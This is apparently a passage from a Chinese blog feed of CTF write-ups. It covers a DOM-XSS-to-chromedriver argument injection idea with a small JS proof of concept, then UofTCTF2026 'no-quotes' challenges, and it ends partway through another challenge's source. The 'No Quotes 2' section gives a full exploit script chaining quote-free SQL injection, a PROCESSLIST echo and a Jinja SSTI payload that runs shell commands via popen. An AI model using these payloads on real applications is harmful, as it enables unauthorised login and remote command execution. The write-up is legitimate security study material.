    const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
    if (card) {
      card.innerHTML = clean;
    }
    if (mode !== &quot;safe&quot;) {
      console.log(&quot;Render mode:&quot;, mode);
    }
  } catch (err) {
    window.lastRenderError = err ? String(err) : &quot;unknown&quot;;
    handleError();
  }

  function handleError() {
    const el = document.getElementById(&quot;errorReporterScript&quot;);
    if (el &amp;amp;&amp;amp; el.src) {
      return;
    }

    const c = window.errorReporter || { path: &quot;/telemetry/error-reporter.js&quot; };
    const p = c.path &amp;amp;&amp;amp; c.path.value
      ? c.path.value
      : String(c.path || &quot;/telemetry/error-reporter.js&quot;);
    const s = document.createElement(&quot;script&quot;);
    s.id = &quot;errorReporterScript&quot;;
    let src = p;
    try {
      src = new URL(p).href;
    } catch (err) {
      src = p.startsWith(&quot;/&quot;) ? p : &quot;/telemetry/&quot; + p;
    }
    s.src = src;

    if (el) {
      el.replaceWith(s);
    } else {
      document.head.appendChild(s);
    }
  }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在try代码块的后面，如果报error的时候，便会调用handleerror函数，我们看看这函数的构造，在window对象上有renderconfig和errorreporter，污染点在别的地方，这里仅放部分源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;injected&quot;&amp;gt;{{ msg|safe }}&amp;lt;/div&amp;gt;
def _csp_header(nonce):
    return (
        &quot;default-src &apos;self&apos;; &quot;
        &quot;base-uri &apos;none&apos;; &quot;
        &quot;object-src &apos;none&apos;; &quot;
        &quot;img-src &apos;self&apos; data:; &quot;
        &quot;style-src &apos;self&apos;; &quot;
        &quot;connect-src *; &quot;
        f&quot;script-src &apos;nonce-{nonce}&apos; &apos;strict-dynamic&apos;&quot;
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这里的f&quot;script-src &apos;nonce-{nonce}&apos; &apos;strict-dynamic&apos;&quot;，有严格的安全限制，不允许我们在html里随便插入自创脚本，但是strict-dynamic允许我们动态加载脚本，只有其父脚本携带合法 nonce，以及未被 Trusted Types阻止，那么我们就可以劫持renderconfig和errorreporter两个变量去伪造js路径，并且利用data协议去进行现时加载。这是dom部分。&lt;/p&gt;
&lt;h1&gt;关于selenium&lt;/h1&gt;
&lt;p&gt;我们看看核心bot.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import time

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

BASE_URL = &quot;http://127.0.0.1:5000&quot;
FLAG = &quot;uoftctf{fake_flag}&quot;

def visit_url(target_url):
    options = Options()
    options.add_argument(&quot;--headless=true&quot;)
    options.add_argument(&quot;--disable-gpu&quot;)
    options.add_argument(&quot;--no-sandbox&quot;)
    driver = webdriver.Chrome(options=options)
    try:
        driver.get(target_url)
        time.sleep(30)
    finally:
        driver.quit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初看仅仅是一个bot去访问target的脚本，虽然限制并不是很严格，设置了no sandbox，但是flag是在bot.py的变量里，而不是在cookie那些地方，我们只能控制前端js，那么如何访问后端呢。&lt;/p&gt;
&lt;p&gt;于是我审计了selenium的源码，可以从头开始谈论一下selenium的行动&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Options(ChromiumOptions):
    @property
    def default_capabilities(self) -&amp;gt; dict:
        return DesiredCapabilities.CHROME.copy()

    def enable_mobile(
        self,
        android_package: str | None = &quot;com.android.chrome&quot;,
        android_activity: str | None = None,
        device_serial: str | None = None,
    ) -&amp;gt; None:
        super().enable_mobile(android_package, android_activity, device_serial)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这个类是继承于ChromiumOptions，继续溯源。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Licensed to the Software Freedom Conservancy (SFC) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The SFC licenses this file
# to you under the Apache License, Version 2.0 (the
# &quot;License&quot;); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.


from collections.abc import Mapping, Sequence

from selenium.types import SubprocessStdAlias
from selenium.webdriver.chromium import service


class Service(service.ChromiumService):
    &quot;&quot;&quot;Service class responsible for starting and stopping the chromedriver executable.

    Args:
        executable_path: Install path of the chromedriver executable, defaults
            to `chromedriver`.
        port: Port for the service to run on, defaults to 0 where the operating
            system will decide.
        service_args: (Optional) Sequence of args to be passed to the subprocess
            when launching the executable.
        log_output: (Optional) int representation of STDOUT/DEVNULL, any IO
            instance or String path to file.
        env: (Optional) Mapping of environment variables for the new process,
            defaults to `os.environ`.
    &quot;&quot;&quot;

    def __init__(
        self,
        executable_path: str | None = None,
        port: int = 0,
        service_args: Sequence[str] | None = None,
        log_output: SubprocessStdAlias | None = None,
        env: Mapping[str, str] | None = None,
        **kwargs,
    ) -&amp;gt; None:
        self._service_args = service_args or []

        super().__init__(
            executable_path=executable_path,
            port=port,
            service_args=service_args,
            log_output=log_output,
            env=env,
            **kwargs,
        )

    def command_line_args(self) -&amp;gt; list[str]:
        return [&quot;--enable-chrome-logs&quot;, f&quot;--port={self.port}&quot;] + self._service_args

    @property
    def service_args(self) -&amp;gt; Sequence[str]:
        &quot;&quot;&quot;Returns the sequence of service arguments.&quot;&quot;&quot;
        return self._service_args

    @service_args.setter
    def service_args(self, value: Sequence[str]):
        if isinstance(value, str) or not isinstance(value, Sequence):
            raise TypeError(&quot;service_args must be a sequence&quot;)
        self._service_args = list(value)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以及webdriver的父类这一段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def __init__(
    self,
    browser_name: str | None = None,
    vendor_prefix: str | None = None,
    options: ChromiumOptions | None = None,
    service: ChromiumService | None = None,
    keep_alive: bool = True,
) -&amp;gt; None:
    &quot;&quot;&quot;Create a new WebDriver instance, start the service, and create new ChromiumDriver instance.

    Args:
        browser_name: Browser name used when matching capabilities.
        vendor_prefix: Company prefix to apply to vendor-specific WebDriver extension commands.
        options: This takes an instance of ChromiumOptions.
        service: Service object for handling the browser driver if you need to pass extra details.
        keep_alive: Whether to configure ChromiumRemoteConnection to use HTTP keep-alive.
    &quot;&quot;&quot;
    self.service = service if service else ChromiumService()
    options = options if options else ChromiumOptions()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里两个init方法初始化，也就是入口，在这里我们要关注的是options，如果没传options就是默认逻辑，继续观察处理逻辑，观察发现options通过取caps能力字典去规范化启动参数，因为这里取自chrome/server.py，而它继承于父类service.ChromiumService，与此同时，返回的还有默认端口号，路径等等。当然这并不重要，因为这都是启动参数，我们要关注的是启动后我们能改变的因素，那就是Chromedriver命令行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; def command_line_args(self) -&amp;gt; list[str]:
        return [&quot;--enable-chrome-logs&quot;, f&quot;--port={self.port}&quot;] + self._service_args
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里返回的参数是可以拼接的，这让我找到了新的可能性，继续溯源，发现是双重继承，分别是ChromiumService类和Service类。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def __init__(
    self,
    executable_path: str | None = None,
    port: int = 0,
    service_args: Sequence[str] | None = None,
    log_output: SubprocessStdAlias | None = None,
    env: Mapping[str, str] | None = None,
    **kwargs,
@property
def service_args(self) -&amp;gt; Sequence[str]:
    &quot;&quot;&quot;Returns the sequence of service arguments.&quot;&quot;&quot;
    return self._service_args

@service_args.setter
def service_args(self, value: Sequence[str]):
    if isinstance(value, str) or not isinstance(value, Sequence):
        raise TypeError(&quot;service_args must be a sequence&quot;)
    self._service_args = list(value)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再是class Service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _start_process(self, path: str) -&amp;gt; None:
    &quot;&quot;&quot;Creates a subprocess by executing the command provided.

    Args:
        path: full command to execute
    &quot;&quot;&quot;
    cmd = [path]
    cmd.extend(self.command_line_args())
    close_file_descriptors = self.popen_kw.pop(&quot;close_fds&quot;, sys.platform != &quot;win32&quot;)
    try:
        start_info = None
        if sys.platform == &quot;win32&quot;:
            start_info = subprocess.STARTUPINFO()
            start_info.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
            start_info.wShowWindow = subprocess.SW_HIDE

        self.process = subprocess.Popen(
            cmd,
            env=self.env,
            close_fds=close_file_descriptors,
            stdout=cast(Optional[Union[int, IO[Any]]], self.log_output),
            stderr=cast(Optional[Union[int, IO[Any]]], self.log_output),
            stdin=PIPE,
            creationflags=self.creation_flags,
            startupinfo=start_info,
            **self.popen_kw,
        )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到service_arg自始至终都是直接向上递归并且没有做任何过滤，然后就原封不动得传到了service里cmd.extend(self.command_line_args())作为启动参数了，也就是说，service是默认开发策略才能让我们进调试，确实，因为只有回环地址才能访问。可以说，这种行为是一种信任转移。&lt;/p&gt;
&lt;p&gt;当然，出错最多的也是这一方面，那就是一种联动策略，按理来说是无法直接访问回环的，但是浏览器可以，而我们就可以利用浏览器的dom污染加载恶意js去完成后端层面的参数污染。所以在开发层面来说，这种原本是便利前端调试的功能却出了漏洞。多数情况下都会注重后端安全去多多少少去忽视前端的安全。因为js，浏览器可以类比为一个同源客户端，所以在前后端衔接的时候，我想是可以多多少少考虑这一方面的安全的。&lt;/p&gt;
&lt;p&gt;这里附上一段简易的js的POC,以验证本地回环的可行性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.renderconfig = {
    script: &quot;data:text/javascript,console.log(&apos;control&apos;)&quot;
};

throw new Error(&quot;trigger&quot;);

fetch(&quot;http://127.0.0.1:xxxx&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上。&lt;/p&gt;
</content:encoded></item><item><title>UofTCTF2026 writeup</title><link>https://ymsora.com/posts/uoftctf2026/</link><guid isPermaLink="true">https://ymsora.com/posts/uoftctf2026/</guid><description>路漫漫其修远兮，吾将上下而求索</description><pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;UofTCTF2026 writeup&lt;/h1&gt;
&lt;p&gt;额，算了，欲言又止&lt;/p&gt;
&lt;h2&gt;1.no-quotes&lt;/h2&gt;
&lt;p&gt;上源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = &quot;127.0.0.1&quot;
MYSQL_PORT = 3306
MYSQL_USER = &quot;ctf&quot;
MYSQL_PASSWORD = &quot;ctf&quot;
MYSQL_DATABASE = &quot;ctf&quot;

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -&amp;gt; None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                &quot;&quot;&quot;
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                &quot;&quot;&quot;
            )
            cur.execute(&quot;SELECT 1 FROM users WHERE username = %s&quot;, (&quot;test&quot;,))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    &quot;INSERT INTO users (username, password) VALUES (%s, %s)&quot;,
                    (&quot;test&quot;, &quot;test&quot;),
                )
    finally:
        conn.close()



def waf(value: str) -&amp;gt; bool:
    blacklist = [&quot;&apos;&quot;, &apos;&quot;&apos;]
    return any(char in value for char in blacklist)


@app.get(&quot;/&quot;)
def index():
    return render_template(&quot;login.html&quot;)


@app.post(&quot;/login&quot;)
def login():

    username = request.form.get(&quot;username&quot;, &quot;&quot;)
    password = request.form.get(&quot;password&quot;, &quot;&quot;)

    if waf(username) or waf(password):
        return render_template(
            &quot;login.html&quot;,
            error=&quot;No quotes allowed!&quot;,
            username=username,
        )
    query = (
        &quot;SELECT id, username FROM users &quot;
        f&quot;WHERE username = (&apos;{username}&apos;) AND password = (&apos;{password}&apos;)&quot;
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            &quot;login.html&quot;,
            error=f&quot;Invalid credentials.&quot;,
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            &quot;login.html&quot;,
            error=&quot;Invalid credentials.&quot;,
            username=username,
        )

    session[&quot;user&quot;] = row[1]
    return redirect(url_for(&quot;home&quot;))


@app.get(&quot;/home&quot;)
def home():
    if not session.get(&quot;user&quot;):
        return redirect(url_for(&quot;index&quot;))
    return render_template_string(open(&quot;templates/home.html&quot;).read() % session[&quot;user&quot;])


@app.post(&quot;/logout&quot;)
def logout():
    session.clear()
    return redirect(url_for(&quot;index&quot;))


if __name__ == &quot;__main__&quot;:
    ensure_db()
    app.run(host=&quot;0.0.0.0&quot;, port=5000, debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依旧sql注入，并且没有二次检验，那么就可以直接进行\截断，然后拼接password字段为恶意注入语句，从而登录，同时union返回1和恶意的username字段这里是查询语句。&lt;/p&gt;
&lt;p&gt;&quot;SELECT id, username FROM users &quot;所以之后造的是id和username,而username嵌入ssti语句，完结。&lt;/p&gt;
&lt;h2&gt;2.No Quotes2&lt;/h2&gt;
&lt;p&gt;是python题，上源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = &quot;127.0.0.1&quot;
MYSQL_PORT = 3306
MYSQL_USER = &quot;ctf&quot;
MYSQL_PASSWORD = &quot;ctf&quot;
MYSQL_DATABASE = &quot;ctf&quot;

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -&amp;gt; None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                &quot;&quot;&quot;
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                &quot;&quot;&quot;
            )
            cur.execute(&quot;SELECT 1 FROM users WHERE username = %s&quot;, (&quot;test&quot;,))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    &quot;INSERT INTO users (username, password) VALUES (%s, %s)&quot;,
                    (&quot;test&quot;, &quot;test&quot;),
                )
    finally:
        conn.close()

def waf(value: str) -&amp;gt; bool:
    blacklist = [&quot;&apos;&quot;, &apos;&quot;&apos;]
    return any(char in value for char in blacklist)


@app.get(&quot;/&quot;)
def index():
    return render_template(&quot;login.html&quot;)


@app.post(&quot;/login&quot;)
def login():

    username = request.form.get(&quot;username&quot;, &quot;&quot;)
    password = request.form.get(&quot;password&quot;, &quot;&quot;)

    if waf(username) or waf(password):
        return render_template(
            &quot;login.html&quot;,
            error=&quot;No quotes allowed!&quot;,
            username=username,
        )
    query = (
        &quot;SELECT username, password FROM users &quot;
        f&quot;WHERE username = (&apos;{username}&apos;) AND password = (&apos;{password}&apos;)&quot;
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            &quot;login.html&quot;,
            error=f&quot;Invalid credentials.&quot;,
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            &quot;login.html&quot;,
            error=&quot;Invalid credentials.&quot;,
            username=username,
        )
    if not username == row[0] or not password == row[1]:
        return render_template(
            &quot;login.html&quot;,
            error=&quot;Invalid credentials.&quot;,
            username=username,
        )
    session[&quot;user&quot;] = row[0]
    return redirect(url_for(&quot;home&quot;))


@app.get(&quot;/home&quot;)
def home():
    if not session.get(&quot;user&quot;):
        return redirect(url_for(&quot;index&quot;))
    return render_template_string(open(&quot;templates/home.html&quot;).read() % session[&quot;user&quot;])


@app.post(&quot;/logout&quot;)
def logout():
    session.clear()
    return redirect(url_for(&quot;index&quot;))


if __name__ == &quot;__main__&quot;:
    ensure_db()
    app.run(host=&quot;0.0.0.0&quot;, port=5000, debug=False)
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
    setuid(0);
    system(&quot;cat /root/flag.txt&quot;);
    return 0;
}
&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&amp;gt;
    &amp;lt;title&amp;gt;Under Construction&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{{ url_for(&apos;static&apos;, filename=&apos;styles.css&apos;) }}&quot; /&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;main class=&quot;page&quot;&amp;gt;
      &amp;lt;section class=&quot;card&quot;&amp;gt;
        &amp;lt;header class=&quot;header&quot;&amp;gt;
          &amp;lt;h1 class=&quot;title&quot;&amp;gt;Under construction&amp;lt;/h1&amp;gt;
          &amp;lt;p class=&quot;subtitle&quot;&amp;gt;Welcome, &amp;lt;span class=&quot;mono&quot;&amp;gt;%s&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;/header&amp;gt;

        &amp;lt;div class=&quot;construction&quot;&amp;gt;
          &amp;lt;div class=&quot;bar&quot;&amp;gt;&amp;lt;/div&amp;gt;
          &amp;lt;p class=&quot;body&quot;&amp;gt;This area is still being built. Check back soon.&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;

        &amp;lt;form method=&quot;post&quot; action=&quot;/logout&quot;&amp;gt;
          &amp;lt;button class=&quot;button button-secondary&quot; type=&quot;submit&quot;&amp;gt;Log out&amp;lt;/button&amp;gt;
        &amp;lt;/form&amp;gt;
      &amp;lt;/section&amp;gt;

      &amp;lt;footer class=&quot;footer&quot;&amp;gt;
        &amp;lt;span class=&quot;fineprint&quot;&amp;gt;Nothing to see here… yet.&amp;lt;/span&amp;gt;
      &amp;lt;/footer&amp;gt;
    &amp;lt;/main&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除此之外还有几个不重要的板块就不说了，首先是这个应用大致的功能和问题点在哪，其实就是一个登录的页面，然后账号密码是从数据库查询的，让我们看看有没有sql注入。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   query = (
        &quot;SELECT username, password FROM users &quot;
        f&quot;WHERE username = (&apos;{username}&apos;) AND password = (&apos;{password}&apos;)&quot;
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里，记住这是要输入给mysql的，所以这不是参数级的注入，所以是可以进行截断操作的，虽然题目禁用了单引号和双引号，但是mysql是支持\转化为普通字符串的，所以username后面的&apos;就相当于一个普通字符串了，结果就是{username}&apos;) AND password = (这一段成了username的查询命令，然后后面为了语法不出问题，补充一个)然后 select 0 union xxx，这是因为使这个语句为真，但是这样依然未曾解决，因为还存在二次校验，如果说没有二次校验只要or 1 = 1#就可以了，我们看这一段&lt;/p&gt;
&lt;p&gt;if not username == row[0] or not password == row[1]:&lt;/p&gt;
&lt;p&gt;我们需要数据库查询出来的语句是和我们输入的username和password相等，但是我们select 0返回的是空的，怎么办呢。我们这里就要利用mysql一个特殊的表，那就是PROCESSLIST，这个表记录了连接者的状态信息，同时也记录了连接者输入的查询语句。但是我们直接查返回的只是语句，那么怎么去精确获取到我们输入的呢，在mysql还有个截断函数是 SUBSTRING_INDEX ，有点类似于substr，这个函数格式是&lt;/p&gt;
&lt;p&gt;SUBSTRING_INDEX（按分隔符截取子串函数）(str（原字符串）, delim（分隔符）, count（次数）)&lt;/p&gt;
&lt;p&gt;这样以来就能进一步绕过进而登录进home界面，而home有着这个&lt;/p&gt;
&lt;p&gt;&amp;lt;p class=&quot;subtitle&quot;&amp;gt;Welcome, &amp;lt;span class=&quot;mono&quot;&amp;gt;%s&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;是的，%s会被模板渲染替换，% session[&quot;user&quot;])，所以只要把username换成模板渲染语句就行了，接下来是SSTI:&lt;/p&gt;
&lt;p&gt;cycler.&lt;strong&gt;init&lt;/strong&gt;.&lt;strong&gt;globals&lt;/strong&gt;.&lt;strong&gt;builtins&lt;/strong&gt;.&lt;strong&gt;import&lt;/strong&gt;(requests.args.m).popen(requests.args.cmd).read()&lt;/p&gt;
&lt;p&gt;然后传入&quot;m&quot;: &quot;os&quot;, &quot;cmd&quot;: &quot;/readflag&quot;这些参数，就成功拿到flag，另外，因为禁用了&apos;和&quot;，所以查询processlist的语句是用16进制表示的，因为mysql支持16进制归一。以下是exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

BASE = &quot;https://no-quotes-2-e37ac66a06c5e1a2.chals.uoftctf.org&quot;

u = &quot;{{ cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read() }}\\&quot;
p = &quot;) AND 0 UNION SELECT &quot; \
&quot;SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x757365726e616d65203d202827,-1),0x272920414e442070617373776f7264203d202827,1),&quot; \
&quot;SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x272920414e442070617373776f7264203d202827,-1),0x2729,1) &quot; \
&quot;FROM information_schema.PROCESSLIST WHERE ID=CONNECTION_ID()#&quot;

s = requests.Session()

r = s.post(BASE + &quot;/login&quot;, data={&quot;username&quot;: u, &quot;password&quot;: p}, allow_redirects=False)
print(&quot;login status:&quot;, r.status_code, &quot;location:&quot;, r.headers.get(&quot;Location&quot;))

r2 = s.get(BASE + &quot;/home&quot;, params={&quot;m&quot;: &quot;os&quot;, &quot;cmd&quot;: &quot;/readflag&quot;})
print(r2.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.personal blog&lt;/h2&gt;
&lt;p&gt;js题目&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const crypto = require(&apos;crypto&apos;);
const fs = require(&apos;fs&apos;);
const path = require(&apos;path&apos;);

const bcrypt = require(&apos;bcryptjs&apos;);
const cookieParser = require(&apos;cookie-parser&apos;);
const createDOMPurify = require(&apos;dompurify&apos;);
const express = require(&apos;express&apos;);
const { JSDOM } = require(&apos;jsdom&apos;);

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || &apos;uoftctf{fake_flag}&apos;;
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || &apos;adminpass&apos;;
const APP_ORIGIN = process.env.APP_ORIGIN || &apos;http://localhost:3000&apos;;
const BOT_ORIGIN = process.env.BOT_ORIGIN || &apos;http://localhost:4000&apos;;
const POW_DIFFICULTY = Number.parseInt(process.env.POW_DIFFICULTY || &apos;5000&apos;, 10);
const POW_ENABLED = Number.isFinite(POW_DIFFICULTY) &amp;amp;&amp;amp; POW_DIFFICULTY &amp;gt; 0;

const DATA_DIR = path.join(__dirname, &apos;data&apos;);
const DATA_FILE = path.join(DATA_DIR, &apos;db.json&apos;);

const window = new JSDOM(&apos;&apos;).window;
const DOMPurify = createDOMPurify(window);
const appOrigin = new URL(APP_ORIGIN);
const appPort = appOrigin.port || (appOrigin.protocol === &apos;https:&apos; ? &apos;443&apos; : &apos;80&apos;);
const allowedReportHosts = new Set([appOrigin.host]);
if (appOrigin.hostname === &apos;localhost&apos;) {
  allowedReportHosts.add(`127.0.0.1:${appPort}`);
}
if (appOrigin.hostname === &apos;127.0.0.1&apos;) {
  allowedReportHosts.add(`localhost:${appPort}`);
}

const app = express();
app.disable(&apos;x-powered-by&apos;);

app.set(&apos;view engine&apos;, &apos;ejs&apos;);
app.set(&apos;views&apos;, path.join(__dirname, &apos;views&apos;));

app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());
app.use(&apos;/static&apos;, express.static(path.join(__dirname, &apos;public&apos;)));
app.use(&apos;/static/dompurify&apos;, express.static(path.join(__dirname, &apos;node_modules&apos;, &apos;dompurify&apos;, &apos;dist&apos;)));

function ensureDataFile() {
  if (!fs.existsSync(DATA_DIR)) {
    fs.mkdirSync(DATA_DIR, { recursive: true });
  }
  if (!fs.existsSync(DATA_FILE)) {
    const adminHash = bcrypt.hashSync(ADMIN_PASSWORD, 10);
    const now = Date.now();
    const seed = {
      nextUserId: 2,
      nextPostId: 2,
      users: [
        {
          id: 1,
          username: &apos;admin&apos;,
          passHash: adminHash,
          isAdmin: true
        }
      ],
      posts: [
        {
          id: 1,
          userId: 1,
          savedContent: &apos;&amp;lt;p&amp;gt;Admin draft: keep the blog tidy.&amp;lt;/p&amp;gt;&apos;,
          draftContent: &apos;&apos;,
          createdAt: now,
          updatedAt: now
        }
      ],
      sessions: {},
      magicLinks: {}
    };
    fs.writeFileSync(DATA_FILE, JSON.stringify(seed, null, 2));
  }
}

function loadDb() {
  ensureDataFile();
  const db = JSON.parse(fs.readFileSync(DATA_FILE, &apos;utf8&apos;));
  const touched = normalizeDb(db);
  if (touched) {
    saveDb(db);
  }
  return db;
}

function saveDb(db) {
  fs.writeFileSync(DATA_FILE, JSON.stringify(db, null, 2));
}

function cookieOptions() {
  return {
    httpOnly: false,
    sameSite: &apos;Lax&apos;,
    path: &apos;/&apos;
  };
}

function getUserById(db, id) {
  return db.users.find((user) =&amp;gt; user.id === id) || null;
}

function getUserByName(db, username) {
  return db.users.find((user) =&amp;gt; user.username === username) || null;
}

function normalizeDb(db) {
  let touched = false;
  if (!Array.isArray(db.posts)) {
    db.posts = [];
    touched = true;
  }
  if (!db.nextPostId) {
    db.nextPostId = 1;
    touched = true;
  }
  db.posts.forEach((post) =&amp;gt; {
    if (!post.id) {
      post.id = db.nextPostId++;
      touched = true;
    }
    if (!post.createdAt) {
      post.createdAt = Date.now();
      touched = true;
    }
    if (!post.updatedAt) {
      post.updatedAt = post.createdAt;
      touched = true;
    }
  });
  const maxId = db.posts.reduce((max, post) =&amp;gt; Math.max(max, post.id || 0), 0);
  if (db.nextPostId &amp;lt;= maxId) {
    db.nextPostId = maxId + 1;
    touched = true;
  }
  return touched;
}

function getUserPosts(db, userId) {
  return db.posts
    .filter((post) =&amp;gt; post.userId === userId)
    .sort((a, b) =&amp;gt; (b.updatedAt || 0) - (a.updatedAt || 0));
}

function getPostById(db, userId, postId) {
  return db.posts.find((post) =&amp;gt; post.userId === userId &amp;amp;&amp;amp; post.id === postId) || null;
}

function createPost(db, userId) {
  const now = Date.now();
  const post = {
    id: db.nextPostId++,
    userId,
    savedContent: &apos;&apos;,
    draftContent: &apos;&apos;,
    createdAt: now,
    updatedAt: now
  };
  db.posts.push(post);
  return post;
}

function createSession(db, userId) {
  const sid = crypto.randomBytes(18).toString(&apos;hex&apos;);
  db.sessions[sid] = {
    userId,
    createdAt: Date.now()
  };
  return sid;
}

function resolveSession(req, db) {
  const sid = req.cookies.sid;
  if (!sid) {
    return null;
  }
  const session = db.sessions[sid];
  if (!session) {
    return null;
  }
  return getUserById(db, session.userId);
}

function sanitizeHtml(input) {
  return DOMPurify.sanitize(input || &apos;&apos;);
}

const POW_VERSION = &apos;s&apos;;
const POW_MOD = (1n &amp;lt;&amp;lt; 1279n) - 1n;
const POW_ONE = 1n;

function powBytesToBigInt(buf) {
  if (!buf || buf.length === 0) {
    return 0n;
  }
  return BigInt(`0x${buf.toString(&apos;hex&apos;)}`);
}

function powGenerateChallenge(difficulty) {
  const dBytes = Buffer.alloc(4);
  dBytes.writeUInt32BE(difficulty);
  const xBytes = crypto.randomBytes(16);
  return `${POW_VERSION}.${dBytes.toString(&apos;base64&apos;)}.${xBytes.toString(&apos;base64&apos;)}`;
}

function powDecodeChallenge(value) {
  const parts = String(value || &apos;&apos;).split(&apos;.&apos;, 3);
  if (parts.length !== 3 || parts[0] !== POW_VERSION) {
    return null;
  }
  const dBytes = Buffer.from(parts[1], &apos;base64&apos;);
  if (dBytes.length &amp;gt; 4) {
    return null;
  }
  const padded = Buffer.concat([Buffer.alloc(4 - dBytes.length), dBytes]);
  const difficulty = padded.readUInt32BE(0);
  const xBytes = Buffer.from(parts[2], &apos;base64&apos;);
  return { difficulty, x: powBytesToBigInt(xBytes) };
}

function powDecodeSolution(value) {
  const parts = String(value || &apos;&apos;).split(&apos;.&apos;, 2);
  if (parts.length !== 2 || parts[0] !== POW_VERSION) {
    return null;
  }
  const yBytes = Buffer.from(parts[1], &apos;base64&apos;);
  return powBytesToBigInt(yBytes);
}

function powCheck(challenge, solution, expectedDifficulty) {
  const decoded = powDecodeChallenge(challenge);
  if (!decoded || decoded.difficulty !== expectedDifficulty) {
    return false;
  }
  const y = powDecodeSolution(solution);
